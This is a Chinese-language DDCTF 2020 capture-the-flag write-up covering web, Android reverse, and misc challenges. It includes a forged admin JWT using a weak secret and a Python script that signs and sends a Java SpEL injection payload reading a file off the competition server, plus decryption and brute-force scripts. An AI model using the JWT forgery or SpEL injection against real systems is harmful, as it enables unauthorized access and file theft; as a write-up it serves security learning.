DDCTF2020-Writeup

DDCTF 2020 Writeup

DDCTF 2020部分题解

名次:第二名

队伍:Darkkkkkk

队友:JrXnm

Web

Web签到题

验证auth拿到client

访问http://117.51.136.197/admin/login, username=admin&pwd=123456, 拿到一个jwt的token, 密钥是123456
拿去jwt.io, 修改一下Role 改成ADMIN, 改个时间戳
去访问http://117.51.136.197/admin/auth
这时可以拿到一个client二进制文件

client 逆向

golang编译的无符号ELF,使用GoUtils2.0恢复符号信息,结合命令行输出的提示以及wireshark抓包的结果,发现其向“http://117.51.136.197/server/health”、"http://117.51.136.197/server/command" 发了两个请求,根据其发送的请求逆向binary,发现其使用”DDCTFWithYou”作为key,对”command|timestamp”做hmac-sha256后base64 encode

img
img

写出模拟发包脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import hmac
import time
import base64
import requests

for _ in range(10):

secret_key1 = b'DDCTFWithYou'
command = b'\'DDCTF\''
time_stamp = int(time.time())

message = "%s|%i" % (command.decode(), time_stamp)
print(message)

hmacc = hmac.new(secret_key1, message.encode(), digestmod="sha256")

res = hmacc.digest()
print(base64.b64encode(res))

sig = base64.b64encode(res)

headers = {
"User-Agent": "Go-http-client/1.1",
"Content-Type": "application/json"
}

payload = {
"signature": sig.decode(),
"command": command.decode(),
"timestamp" : time_stamp
}
req1 = requests.get("http://117.51.136.197/server/health")
# print(req1.json())
req = requests.post("http://117.51.136.197/server/command", data=str(payload), headers=headers)

print(req.json())
# print(req.headers)
time.sleep(1)

在这里可以发送command执行,测试这个执行的command不是shell命令也不是go代码,而是java的spel注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import hmac
import time
import base64
import requests



secret_key1 = b'DDCTFWithYou'
command = b"T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt'))"
time_stamp = int(time.time())

message = "%s|%i" % (command.decode(), time_stamp)
print(message)

hmacc = hmac.new(secret_key1, message.encode(), digestmod="sha256")

res = hmacc.digest()
print(base64.b64encode(res))

sig = base64.b64encode(res)

headers = {
"User-Agent": "Go-http-client/1.1",
"Content-Type": "application/json"
}

payload = {
"signature": sig.decode(),
"command": command.decode(),
"timestamp" : time_stamp
}
req1 = requests.get("http://117.51.136.197/server/health")
# print(req1.json())
req = requests.post("http://117.51.136.197/server/command", data=str(payload), headers=headers)

print(req.json())

有一些限制,但是读文件没有问题,代码如上,直接读flag。
img
DDCTF{Q24uf486whGOWN44UtZCjYUgdnnnRaVs}

Reverse

Android Reverse 1

静态分析+动态调试识别算法为AES ECB 128,key为”1234567890123456”、可能为TEA、MD5
img

TEA脚本算出来不大对(可能是我脚本问题),不过发现binary中的类TEA函数通过判断长度的正负以决定进行加密or解密,于是可以断在xxtea(0x9208)处,将buf修改为提示中md5的输入,R1长度8改为0xFFFFFFF8,即可复用binary解密
img
img

随后buf内存dump出来,用AES解密即可

1
2
3
4
5
6
from Crypto.Cipher import AES

mmm = b"\xC56(=Z,\x84\x87\x90\xD7S\xDCF\x87\xCD^\xE2|]\x8F3\xBA\x88m\x86\xA7Dd\xD8\x90\xE3\xE1"
passphrase = b"1234567890123456"
aes = AES.new(passphrase, AES.MODE_ECB)
print(aes.decrypt(mmm))

DDCTF{wsxsdf0987!}

Android Reverse 2

静态分析发现与第一题是一套源码编译的,加了字符串加密和部分控制流平坦化,结合动态调试直接dump字符串,做法与上题类似,类XXTEA前下断,patch内存,修改R1,复用binary解密,随后AES解密,得flag

img
img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
target = [
0x31,0x2a,0xe3,0x96,0x81,0xee,0x2c,0xfa,0x29,0x50,0xe2,0x4a,0x0d,0x70,0x70,0x50
]
print(len(target))


"""
26 D8 AA 2B 17 C2 11 DD 23 43 5B 1E CF DB F2 1B

"""
"31 2a e3 96 81 ee 2c fa 29 50 e2 4a 0d 70 70 50"

plain = b"12345678901234567890123456789012"
plain = b"123" + b"\x00"*13

from Crypto.Cipher import AES
import binascii

passphrase = b"1234567890123456"
aes = AES.new(passphrase, AES.MODE_ECB)
enc = aes.encrypt(plain)
print(binascii.hexlify(enc))

# ccc = b"\xFC3\x89\xB4_\x0A~_\x19Q\xEB\xBF\x91\xE2|\x1A\x850\xF9\xE3e\xFB\x91\xDCo\xE8\xB4\x81N\x14\x0F"
# ccc = b"\xB8/x\x09o\xFF\x8Fo\x8E\xEA1\xB3~\xC8\x88\xDD\x80\x07\xBF:\xF4\xBD\xE8\xCC\x09J6)\xD6\xADJ\xAB"
# ccc = b"XG\x05\xFAH\xBF\x15p_\x80\x02.7F\x81\x08\xC5e\xE1\xC8k\xB0\xFC\xE1\x81\xCC\x02\xC5\xD2TA\xB3"
ccc = b"M\x0C\xC1z\xC02\xB9\x8DZ\xB7\xBC\x03\xAC\xDCly\xC9\xFE\xDE\x9D,\x1A\x90o\xE5z_WX\xBA\xC3V"
aes = AES.new(passphrase, AES.MODE_ECB)
print(aes.decrypt(ccc))

DDCTF{FiNal CuP$}

Android Reverse 3

初步静态分析,发现:

  • init_array 中字符串解密
  • JNI_OnLoad 中pthread_create起了子线程检查”/proc/{pid}/status”中的TracerPid
  • JNI_OnLoad 中动态注册crypt函数

与re2相比,也有字符串加密,更强的控制流平坦化,还加入了反调试。

使用patch过kernel(使TracerPid永远为0)的安卓手机进行调试,字符串dump出来发现其访问http://117.51.142.44/getPW 拿key。通过findcrypt发现AES SBOX。
试了几个静态去平坦化的工具,发现效果一般,直接在check(0x4FD4)函数中的数个可疑处下断点(getPW函数、AES setup、AES encrypt、sha1),动态调试
img

发现flag的检查算法只是从网上读了一个key,明文padding后AES CBC 256加密,SHA1后与常量比较

写出python正向脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
AES_key = [
0x33, 0x62, 0x31, 0x63, 0x39, 0x64, 0x37, 0x66, 0x2B, 0x73,
0xAE, 0xF0, 0x85, 0x7D, 0x77, 0x81, 0x1F, 0x35, 0x2C, 0x07,
0x3B, 0x61, 0x08, 0xD7, 0x2D, 0x98, 0x10, 0xA3, 0x09, 0x14,
0xDF, 0xF4
]
pw = b"3b1c9d7f+s\xAE\xF0\x85}w\x81\x1F5,\x07;a\x08\xD7-\x98\x10\xA3\x09\x14\xDF\xF4"

from Crypto.Cipher import AES
import binascii

iv = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F"

aes = AES.new(pw, AES.MODE_CBC, iv)

plaintext = b"DDCTF{1234567890123456789012}"+b"\x03"*3
# plaintext = b"DDCTF{kyaaaaadI}"+b"\x10"*0x10

enc = aes.encrypt(plaintext)
print(enc)

import hashlib

sha256 = hashlib.sha1()
sha256.update(enc)
print(sha256.hexdigest())

尝试使用python多进程爆破,速度太慢,放弃。
使用c编写多进程爆破,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
//                                
// Created by G6 on 2020-09-05.
//

// gcc 1.cpp -O3 -lcrypto

#include<sys/types.h>
#include<sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <openssl/sha.h>
#include <openssl/aes.h>

#define SHA_DIGEST_LENGTH 20

// unsigned char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
unsigned char charset[] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ";
unsigned char target[] = "\xC8\xCD\x3F\x8F\xB6\x23\x9E\x39\x6D\x25\x38\xD4\x50\x88\x74\xF9\x07\x1F\xC6\x16";
unsigned char key[] = {
0x33, 0x62, 0x31, 0x63, 0x39, 0x64, 0x37, 0x66, 0x2B, 0x73,
0xAE, 0xF0, 0x85, 0x7D, 0x77, 0x81, 0x1F, 0x35, 0x2C, 0x07,
0x3B, 0x61, 0x08, 0xD7, 0x2D, 0x98, 0x10, 0xA3, 0x09, 0x14,
0xDF, 0xF4
};
unsigned char iv_bak[] = {
0, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
};


int fff = 1;

int check(unsigned char *plaintext)
{
unsigned char iv[16];
memcpy(iv, iv_bak, 16);

AES_KEY aes;
unsigned char enc[100];

AES_set_encrypt_key(key,256,&aes);
AES_cbc_encrypt(plaintext,enc, 32,&aes,iv,AES_ENCRYPT);


unsigned char digest[SHA_DIGEST_LENGTH];

SHA1((unsigned char*)&enc, 32, (unsigned char*)&digest);

// unsigned char target[] = "\x52\x4f\xca\x7e\x5f\x31\x28\xf1\x86\xa1\x51\xd9\x42\x12\x3a\x6f\x23\xac\x1a\x89";
if (memcmp(target, digest, 20) == 0) {
printf("flag: %s\n", plaintext);
printf("flag: %s\n", plaintext);
printf("flag: %s\n", plaintext);
printf("flag: %s\n", plaintext);
printf("flag: %s\n", plaintext);
printf("flag: %s\n", plaintext);
}

if (fff==1) {
char mdString[SHA_DIGEST_LENGTH*4+1];

for(int i = 0; i < SHA_DIGEST_LENGTH; i++)
sprintf(&mdString[i*4], "\\x%02x", (unsigned int)digest[i]);
printf("plaintext: %s \n SHA1 digest: %s\n", plaintext, mdString);
fff = 0;
// for (int i=0; i < 32; i++){printf("%02x ", enc[i]);}
// printf("\n");
}
return 0;

}

unsigned char plaintext__[] = "DDCTF{s++++++dI}\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10";

void worker() {
//for(int a1=0; a1<sizeof(charset); a1++) {
for(int a2=0; a2<sizeof(charset); a2++) {
fff = 1;
for(int a3=0; a3<sizeof(charset); a3++) {
for(int a4=0; a4<sizeof(charset); a4++) {
for(int a5=0; a5<sizeof(charset); a5++) {
for(int a6=0; a6<sizeof(charset); a6++) {
// plaintext__[7] = charset[a1];
plaintext__[8] = charset[a2];
plaintext__[9] = charset[a3];
plaintext__[10] = charset[a4];
plaintext__[11] = charset[a5];
plaintext__[12] = charset[a6];
check(plaintext__);
}
}
}
}
}
//}
}

pid_t child_up(int index) {
pid_t pid;
pid = fork();
if (pid == 0) {
plaintext__[7] = charset[index];
worker();
} else {
return pid;
}
}

int main() {
pid_t p = 0;
for (int i=0;i<sizeof(charset); i++) {
p = child_up(i);
}
waitpid(p, NULL, 0);

}

64核机器上跑,运气比较好,没多久就跑出来了

img
DDCTF{s@k1@D1dI}

MISC

一起拼图吗

筛选出修改的图片,发现数量较少,只有二十来张,可以手动拼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from PIL import Image
import os

def changeornot(img1, origin):
width, height = img1.size
b1 = img1.tobytes()
o1 = origin.tobytes()
for i in range(height):
if b1[i*width*3: (i+1)*(width)*3] not in o1:
return False
return True

origin_img = Image.open("/Users/gg/Desktop/ddctf2020/demo.jpg")
path = "/Users/gg/Desktop/ddctf2020/file_d0wnl0ad/"
files = os.listdir(path)
for i, file in enumerate(files):
print i
pppp = path+file
img = Image.open(pppp)
if not changeornot(img, origin_img):
print file
os.system("cp %s /Users/gg/Desktop/ddctf2020/file_diff/" % pppp)

img
img
四段 中间两段顺序不太确定
DDCTF{48、 34d8c7799f559ba、 4e61cd1483c、 ec64}
尝试提交,flag为:
DDCTF{484e61cd1483c34d8c7799f559baec64}

decrypt

发现k3和k4可以合并,给了数字形式的两对明密文对,密文异或可消除k3 k4,只剩k0 k1 k2三个12bit数字,爆破空间为2**36,可以接受,64核直接爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
# Define constant properties
SECRET_KEYS = [0, 0, 0, 0, 0] # DUMMY
NUM_BITS = 12
BLOCK_SIZE_BITS = 48
BLOCK_SIZE = BLOCK_SIZE_BITS / 8
MAX_VALUE = (2 << (NUM_BITS - 1))
BIT_MASK = MAX_VALUE - 1


class Cipher(object):
def __init__(self, k0, k1, k2, k3, k4):
self.k0 = k0
self.k1 = k1
self.k2 = k2
self.k3 = k3
self.k4 = k4

self._rand_start = 0
self.sbox0, self.rsbox0 = self.generate_boxes(106)
self.sbox1, self.rsbox1 = self.generate_boxes(81)

def my_srand(self, seed):
self._rand_start = seed

def my_rand(self):
if self._rand_start == 0:
self._rand_start = 123459876
hi = self._rand_start / 127773
lo = self._rand_start % 127773
x = 16807 * lo - 2836 * hi
if x < 0:
x += 0x7fffffff
self._rand_start = (x % (0x7fffffff + 1))
return self._rand_start

def generate_boxes(self, seed):
self.my_srand(seed)
sbox = range(MAX_VALUE)
rsbox = range(MAX_VALUE)

for i in xrange(MAX_VALUE):
r = self.my_rand() % MAX_VALUE
temp = sbox[i]
sbox[i] = sbox[r]
sbox[r] = temp

for i in xrange(MAX_VALUE):
rsbox[sbox[i]] = i

return sbox, rsbox

def ror7(self, b):
return ((((b) & BIT_MASK) >> 7) | (((b) << (NUM_BITS - 7)) & BIT_MASK))

def rol7(self, b):
return ((((b) << 7) & BIT_MASK) | (((b) & BIT_MASK) >> (NUM_BITS - 7)))

def pad_string(self, s):
num_blocks = len(s) / BLOCK_SIZE
num_remainder = len(s) % BLOCK_SIZE

pad = (BLOCK_SIZE - num_remainder) % BLOCK_SIZE
for i in xrange(BLOCK_SIZE - num_remainder):
s += chr(pad)
return s

def unpad_string(self, s):
pad = ord(s[-1]) & 0xff
if pad == 0 or pad > BLOCK_SIZE:
pad = BLOCK_SIZE
return s[:-pad]

def string_to_bits_list(self, s):
input_chars = s
num_blocks = len(s) / BLOCK_SIZE

bits_list = []
for i in xrange(num_blocks):
block = 0
for j in xrange(BLOCK_SIZE):
block = block << 8
block = block | ord(input_chars[i * BLOCK_SIZE + j])
for j in xrange(BLOCK_SIZE_BITS, 0, -NUM_BITS):
bits_list.append((block >> (j - NUM_BITS)) & BIT_MASK)
return bits_list

def bits_list_to_string(self, input_bits):
num_input_bits_per_block = BLOCK_SIZE_BITS / NUM_BITS;
output_chars = []
for i in xrange(0, len(input_bits), num_input_bits_per_block):
block = 0
for j in xrange(num_input_bits_per_block):
block = block << NUM_BITS
block = block | (input_bits[i + j])
for j in xrange(BLOCK_SIZE, 0, -1):
output_chars.append((block >> ((j - 1) * 8)) & 0xff)
return "".join([chr(x) for x in output_chars])

def encrypt_bits(self, b):
boxed = self.sbox0[self.sbox1[self.sbox0[(b & BIT_MASK) ^ self.k0] ^ self.k1] ^ self.k2] ^ self.k3
return (self.ror7(boxed) ^ self.k4) & BIT_MASK;
def my_encrypt(self, b):
boxed = self.sbox0[self.sbox1[self.sbox0[(b & BIT_MASK) ^ self.k0] ^ self.k1] ^ self.k2] ^ self.k3
return boxed
def decrypt_bits(self, b):
unboxed = self.rol7((b & BIT_MASK) ^ self.k4) ^ self.k3
return (self.rsbox0[self.rsbox1[self.rsbox0[unboxed] ^ self.k2] ^ self.k1] ^ self.k0);

def encrypt(self, s):
pad_s = self.pad_string(s)
bits = self.string_to_bits_list(pad_s)
return self.bits_list_to_string([(self.encrypt_bits(b)) for b in bits])

def decrypt(self, s):
bits = self.string_to_bits_list(s)
dec = [self.decrypt_bits(b) for b in bits]
return self.unpad_string(self.bits_list_to_string(dec))


test_text = "Cryptanalysis has coevolved together with cryptography"
ciphertext = ("2371697013e9bdcb50133102f2c8c08a69b93e1878ac7939ac7049"
"8ddd5dee019f4be4ec8dd3a612c8708a1169701d5d3de3169c7b1d"
"146146146146").decode('hex')

flag_enc = "8ed251b1869298e2e482f63a2a757fd04d4ea024ed2b7ca4dcf202ae4b6341f92c98eb742a7433f01dcf".decode('hex')

m1 = 2684
m2 = 3599
c1 = 2568
c2 = 3185


from multiprocessing import Pool
import traceback

if __name__ == "__main__":
SECRET_KEYS = [0, 0, 0, 0, 0]
cipher = Cipher(*SECRET_KEYS)

def bf(begin, end):
try:
for i in xrange(begin, end):
k0 = i & ((1<<12)-1)
k1 = (i >> 12) & ((1 << 12)-1)
k2 = (i >> 24) & ((1 << 12) - 1)
cipher.k0 = k0
cipher.k1 = k1
cipher.k2 = k2

tmp1 = cipher.my_encrypt(m1)
tmp2 = cipher.my_encrypt(m2)

if tmp1 ^ tmp2 == cipher.rol7(c1^c2):
# print("%d %d %d" % (k0, k1, k2))
k4 = cipher.ror7(tmp1) ^ c1
cipher.k4 = k4
assert cipher.encrypt_bits(3599) == 3185
res = cipher.encrypt(test_text)
if res == ciphertext:
print("%d %d %d %d" % (k0, k1, k2, k4))
print("%d %d %d %d" % (k0, k1, k2, k4))
print("%d %d %d %d" % (k0, k1, k2, k4))
print cipher.decrypt(flag_enc)
print cipher.decrypt(flag_enc)
print cipher.decrypt(flag_enc)
exit(0)
cipher.k3 = 0
except Exception as e:
traceback.print_exc()

process_num = 64
pool = Pool(processes=process_num)
for i in range(process_num):
pool.apply_async(bf, args=(((1 << 36) / process_num) * i, ((1 << 36) / process_num) * (i+1),))
pool.close()
pool.join()

DDCTF{4458C756F7BF4F5324060909F7944054}